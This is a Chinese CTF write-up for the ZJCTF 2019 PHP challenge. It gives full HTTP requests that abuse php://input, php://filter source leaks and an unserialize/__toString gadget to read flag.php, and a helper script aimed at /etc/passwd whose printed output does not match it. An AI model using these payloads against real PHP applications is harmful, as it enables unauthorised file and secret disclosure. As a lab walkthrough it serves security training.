打开题目,得到一段源码,如下。
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
这里对于 $test
变量,要求在 file_get_contents
的内容为 welcome to the zjctf
,因此可以设置 $test
为 php://input
,在 POST 区域输入 welcome to the zjctf
,如下,就可以绕过第一层 if
。
POST /?text=php://input&file=...&password=... HTTP/1.1
Host: 724a75c1-3f80-4fa6-a9d8-242a4f526c28.node4.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
welcome to the zjctf
随后,程序可以 file_get_contents
用户指定的文件(除了文件名中包含 flag
字样的文件),题目又提示存在 useless.php
,因此查看其的源码,如下。
POST /?text=php://input&file=php://filter/read=convert.base64-encode/resource=useless.php&password=... HTTP/1.1
Host: 724a75c1-3f80-4fa6-a9d8-242a4f526c28.node4.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
welcome to the zjctf
HTTP/1.1 200 OK
Server: openresty
Date: Wed, 01 Nov 2023 14:56:28 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 410
Connection: close
Vary: Accept-Encoding
X-Powered-By: PHP/5.6.40
<br><h1>welcome to the zjctf</h1></br>PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=
将响应包中的 Base64
编码过的源码解码后,得到如下。
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
因此得知,这里可以利用 __tostring
魔术方法,通过在 file_get_contents
中引入 useless.php
文件,最后在反序列化,设置 $file="flag.php"
,即可绕过检查,并输出 flag
。
<?php
class Flag{ //flag.php
public $file = "/etc/passwd";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$password = new Flag();
$password_serialize = serialize($password);
$fp = fopen("serialize.txt","a");
fwrite($fp,$password_serialize);
fclose($fp);
?>
// 得到:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
POST /?text=php://input&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} HTTP/1.1
Host: 724a75c1-3f80-4fa6-a9d8-242a4f526c28.node4.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
welcome to the zjctf
标签:password,ZJCTF,image,Accept,NiZhuanSiWei,application,2019,file,php
From: https://www.cnblogs.com/imtaieee/p/17804370.html